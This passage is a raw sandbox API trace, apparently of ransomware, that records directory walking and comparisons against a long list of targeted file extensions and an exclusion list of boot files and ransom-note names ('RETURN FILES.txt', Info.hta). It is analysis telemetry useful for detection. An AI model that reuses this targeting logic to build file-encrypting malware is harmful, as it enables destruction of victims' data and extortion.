lstrlenW (lpString=".dotx") returned 5 [0242.653] lstrcmpiW (lpString1=".dotx", lpString2="4.GIF") returned -1 [0242.653] lstrlenW (lpString=".dpx") returned 4 [0242.653] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0242.653] lstrlenW (lpString=".dqy") returned 4 [0242.653] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".dsn") returned 4 [0242.654] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".dt") returned 3 [0242.654] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0242.654] lstrlenW (lpString=".dtd") returned 4 [0242.654] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".dwg") returned 4 [0242.654] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".dwt") returned 4 [0242.654] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".dx") returned 3 [0242.654] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0242.654] lstrlenW (lpString=".dxf") returned 4 [0242.654] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".edml") returned 5 [0242.654] lstrcmpiW (lpString1=".edml", lpString2="4.GIF") returned -1 [0242.654] lstrlenW (lpString=".efd") returned 4 [0242.654] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".elf") returned 4 [0242.654] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".emf") returned 4 [0242.654] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".emz") returned 4 [0242.654] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".epf") returned 4 [0242.654] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".eps") returned 4 [0242.654] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0242.654] lstrlenW (lpString=".epsf") returned 5 [0242.654] lstrcmpiW (lpString1=".epsf", lpString2="4.GIF") returned -1 [0242.654] lstrlenW (lpString=".epsp") returned 5 [0242.654] lstrcmpiW (lpString1=".epsp", lpString2="4.GIF") returned -1 [0242.655] lstrlenW (lpString=".erf") returned 4 [0242.655] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0242.655] lstrlenW (lpString=".exr") returned 4 [0242.655] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0242.655] lstrlenW (lpString=".f4v") returned 4 [0242.655] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0242.655] lstrlenW (lpString=".fido") returned 5 [0242.655] lstrcmpiW (lpString1=".fido", lpString2="4.GIF") returned -1 [0242.655] lstrlenW (lpString=".flm") returned 4 [0242.655] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0242.655] lstrlenW (lpString=".flv") returned 4 [0242.655] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0242.655] lstrlenW (lpString=".frm") returned 4 [0242.655] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0242.655] lstrlenW (lpString=".fxg") returned 4 [0242.655] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0242.655] lstrlenW (lpString=".geo") returned 4 [0242.655] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0242.655] lstrlenW (lpString=".gif") returned 4 [0242.655] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0242.655] lstrlenW (lpString="J0143744.GIF") returned 12 [0242.655] lstrlenW (lpString=".Q1G") returned 4 [0242.655] lstrcmpiW (lpString1=".Q1G", lpString2=".GIF") returned 1 [0242.655] lstrlenW (lpString="J0143744.GIF") returned 12 [0242.655] lstrcmpiW (lpString1="boot.ini", lpString2="J0143744.GIF") returned -1 [0242.655] lstrcmpiW (lpString1="bootfont.bin", lpString2="J0143744.GIF") returned -1 [0242.655] lstrcmpiW (lpString1="ntldr", lpString2="J0143744.GIF") returned 1 [0242.655] lstrcmpiW (lpString1="ntdetect.com", lpString2="J0143744.GIF") returned 1 [0242.655] lstrcmpiW (lpString1="io.sys", lpString2="J0143744.GIF") returned -1 [0242.655] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="J0143744.GIF") returned 1 [0242.655] lstrcmpiW (lpString1="Info.hta", lpString2="J0143744.GIF") returned -1 [0242.655] lstrcmpiW (lpString1="uyuquk.exe", lpString2="J0143744.GIF") returned 1 [0242.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF") returned 76 [0242.655] FindNextFileW (in: hFindFile=0x3af1260, lpFindFileData=0x369f094 | out: lpFindFileData=0x369f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0242.656] lstrlenW (lpString="J0143745.GIF") returned 12 [0242.656] lstrlenW (lpString=".1cd") returned 4 [0242.656] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0242.656] lstrlenW (lpString=".3ds") returned 4 [0242.656] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0242.656] lstrlenW (lpString=".3fr") returned 4 [0242.656] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0242.656] lstrlenW (lpString=".3g2") returned 4 [0242.656] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0242.656] lstrlenW (lpString=".3gp") returned 4 [0242.656] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0242.656] lstrlenW (lpString=".7z") returned 3 [0242.656] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0242.656] lstrlenW (lpString=".accda") returned 6 [0242.656] lstrcmpiW (lpString1=".accda", lpString2="45.GIF") returned -1 [0242.656] lstrlenW (lpString=".accdb") returned 6 [0261.022] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x369f58c | out: lpFindFileData=0x369f58c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.022] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x369f58c | out: lpFindFileData=0x369f58c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0261.022] FindClose (in: hFindFile=0x3af19a0 | out: hFindFile=0x3af19a0) returned 1 [0261.023] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42d7398 | out: hHeap=0x530000) returned 1 [0261.023] FindNextFileW (in: hFindFile=0x3af11a0, lpFindFileData=0x369f808 | out: lpFindFileData=0x369f808*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0261.023] lstrlenW (lpString="C:\\Users\\Public\\Libraries") returned 25 [0261.023] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x42d7398 [0261.023] lstrlenW (lpString="C:\\Users\\Public\\Libraries") returned 25 [0261.023] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x369f58c | out: lpFindFileData=0x369f58c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af19a0 [0261.089] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x369f58c | out: lpFindFileData=0x369f58c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.089] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x369f58c | out: lpFindFileData=0x369f58c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0261.089] lstrlenW (lpString="desktop.ini") returned 11 [0261.089] lstrlenW (lpString=".1cd") returned 4 [0261.089] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0261.089] lstrlenW (lpString=".3ds") returned 4 [0261.089] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0261.089] lstrlenW (lpString=".3fr") returned 4 [0261.089] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0261.089] lstrlenW (lpString=".3g2") returned 4 [0261.089] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0261.089] lstrlenW (lpString=".3gp") returned 4 [0261.089] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0261.089] lstrlenW (lpString=".7z") returned 3 [0261.089] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0261.089] lstrlenW (lpString=".accda") returned 6 [0261.089] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0261.089] lstrlenW (lpString=".accdb") returned 6 [0261.089] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0261.089] lstrlenW (lpString=".accdc") returned 6 [0261.089] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0261.089] lstrlenW (lpString=".accde") returned 6 [0261.089] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0261.089] lstrlenW (lpString=".accdt") returned 6 [0261.089] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0261.089] lstrlenW (lpString=".accdw") returned 6 [0261.089] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0261.089] lstrlenW (lpString=".adb") returned 4 [0261.089] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0261.089] lstrlenW (lpString=".adp") returned 4 [0261.089] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0261.089] lstrlenW (lpString=".ai") returned 3 [0261.090] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0261.090] lstrlenW (lpString=".ai3") returned 4 [0261.090] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".ai4") returned 4 [0261.090] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".ai5") returned 4 [0261.090] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".ai6") returned 4 [0261.090] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".ai7") returned 4 [0261.090] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".ai8") returned 4 [0261.090] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".anim") returned 5 [0261.090] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0261.090] lstrlenW (lpString=".arw") returned 4 [0261.090] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".as") returned 3 [0261.090] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0261.090] lstrlenW (lpString=".asa") returned 4 [0261.090] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".asc") returned 4 [0261.090] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".ascx") returned 5 [0261.090] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0261.090] lstrlenW (lpString=".asm") returned 4 [0261.090] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".asmx") returned 5 [0261.090] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0261.090] lstrlenW (lpString=".asp") returned 4 [0261.090] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".aspx") returned 5 [0261.090] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0261.090] lstrlenW (lpString=".asr") returned 4 [0261.090] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0261.090] lstrlenW (lpString=".asx") returned 4 [0261.090] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".avi") returned 4 [0261.091] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".avs") returned 4 [0261.091] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".backup") returned 7 [0261.091] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0261.091] lstrlenW (lpString=".bak") returned 4 [0261.091] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".bay") returned 4 [0261.091] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".bd") returned 3 [0261.091] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0261.091] lstrlenW (lpString=".bin") returned 4 [0261.091] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".bmp") returned 4 [0261.091] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".bz2") returned 4 [0261.091] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".c") returned 2 [0261.091] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0261.091] lstrlenW (lpString=".cdr") returned 4 [0261.091] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".cer") returned 4 [0261.091] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".cf") returned 3 [0261.091] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0261.091] lstrlenW (lpString=".cfc") returned 4 [0261.091] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".cfm") returned 4 [0261.091] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".cfml") returned 5 [0261.091] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0261.091] lstrlenW (lpString=".cfu") returned 4 [0261.091] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".chm") returned 4 [0261.091] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0261.091] lstrlenW (lpString=".cin") returned 4 [0261.091] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".class") returned 6 [0261.092] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0261.092] lstrlenW (lpString=".clx") returned 4 [0261.092] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".config") returned 7 [0261.092] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0261.092] lstrlenW (lpString=".cpp") returned 4 [0261.092] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".cr2") returned 4 [0261.092] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".crt") returned 4 [0261.092] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".crw") returned 4 [0261.092] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".cs") returned 3 [0261.092] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0261.092] lstrlenW (lpString=".css") returned 4 [0261.092] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".csv") returned 4 [0261.092] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".cub") returned 4 [0261.092] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".dae") returned 4 [0261.092] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".dat") returned 4 [0261.092] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".db") returned 3 [0261.092] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0261.092] lstrlenW (lpString=".dbf") returned 4 [0261.092] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".dbx") returned 4 [0261.092] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".dc3") returned 4 [0261.092] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".dcm") returned 4 [0261.092] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0261.092] lstrlenW (lpString=".dcr") returned 4 [0261.092] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".der") returned 4 [0261.093] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".dib") returned 4 [0261.093] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".dic") returned 4 [0261.093] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".dif") returned 4 [0261.093] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".divx") returned 5 [0261.093] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0261.093] lstrlenW (lpString=".djvu") returned 5 [0261.093] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0261.093] lstrlenW (lpString=".dng") returned 4 [0261.093] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".doc") returned 4 [0261.093] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".docm") returned 5 [0261.093] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0261.093] lstrlenW (lpString=".docx") returned 5 [0261.093] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0261.093] lstrlenW (lpString=".dot") returned 4 [0261.093] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".dotm") returned 5 [0261.093] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0261.093] lstrlenW (lpString=".dotx") returned 5 [0261.093] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0261.093] lstrlenW (lpString=".dpx") returned 4 [0261.093] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".dqy") returned 4 [0261.093] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".dsn") returned 4 [0261.093] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".dt") returned 3 [0261.093] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0261.093] lstrlenW (lpString=".dtd") returned 4 [0261.093] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0261.093] lstrlenW (lpString=".dwg") returned 4 [0261.093] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".dwt") returned 4 [0261.094] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".dx") returned 3 [0261.094] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0261.094] lstrlenW (lpString=".dxf") returned 4 [0261.094] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".edml") returned 5 [0261.094] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0261.094] lstrlenW (lpString=".efd") returned 4 [0261.094] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".elf") returned 4 [0261.094] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".emf") returned 4 [0261.094] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".emz") returned 4 [0261.094] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".epf") returned 4 [0261.094] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".eps") returned 4 [0261.094] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".epsf") returned 5 [0261.094] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0261.094] lstrlenW (lpString=".epsp") returned 5 [0261.094] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0261.094] lstrlenW (lpString=".erf") returned 4 [0261.094] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".exr") returned 4 [0261.094] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".f4v") returned 4 [0261.094] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".fido") returned 5 [0261.094] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0261.094] lstrlenW (lpString=".flm") returned 4 [0261.094] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".flv") returned 4 [0261.094] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0261.094] lstrlenW (lpString=".frm") returned 4 [0261.095] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".fxg") returned 4 [0261.095] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".geo") returned 4 [0261.095] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".gif") returned 4 [0261.095] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".grs") returned 4 [0261.095] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".gz") returned 3 [0261.095] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0261.095] lstrlenW (lpString=".h") returned 2 [0261.095] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0261.095] lstrlenW (lpString=".hdr") returned 4 [0261.095] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".hpp") returned 4 [0261.095] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".hta") returned 4 [0261.095] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".htc") returned 4 [0261.095] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".htm") returned 4 [0261.095] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".html") returned 5 [0261.095] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0261.095] lstrlenW (lpString=".icb") returned 4 [0261.095] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".ics") returned 4 [0261.095] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".iff") returned 4 [0261.095] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".inc") returned 4 [0261.095] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0261.095] lstrlenW (lpString=".indd") returned 5 [0261.095] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0261.095] lstrlenW (lpString=".ini") returned 4 [0261.095] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0261.095] lstrlenW (lpString="desktop.ini") returned 11 [0261.096] lstrlenW (lpString=".Q1G") returned 4 [0261.096] lstrcmpiW (lpString1=".Q1G", lpString2=".ini") returned 1 [0261.096] lstrlenW (lpString="desktop.ini") returned 11 [0261.096] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0261.096] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0261.096] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0261.096] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0261.096] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0261.096] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1 [0261.096] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0261.096] lstrcmpiW (lpString1="uyuquk.exe", lpString2="desktop.ini") returned 1 [0261.096] lstrlenW (lpString="C:\\Users\\Public\\Libraries\\desktop.ini") returned 37 [0261.096] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x369f58c | out: lpFindFileData=0x369f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0261.096] lstrlenW (lpString="RecordedTV.library-ms") returned 21 [0261.096] lstrlenW (lpString=".1cd") returned 4 [0261.096] lstrcmpiW (lpString1=".1cd", lpString2="y-ms") returned -1 [0261.096] lstrlenW (lpString=".3ds") returned 4 [0261.096] lstrcmpiW (lpString1=".3ds", lpString2="y-ms") returned -1 [0261.096] lstrlenW (lpString=".3fr") returned 4 [0261.096] lstrcmpiW (lpString1=".3fr", lpString2="y-ms") returned -1 [0261.096] lstrlenW (lpString=".3g2") returned 4 [0261.096] lstrcmpiW (lpString1=".3g2", lpString2="y-ms") returned -1 [0261.096] lstrlenW (lpString=".3gp") returned 4 [0261.096] lstrcmpiW (lpString1=".3gp", lpString2="y-ms") returned -1 [0261.096] lstrlenW (lpString=".7z") returned 3 [0261.096] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 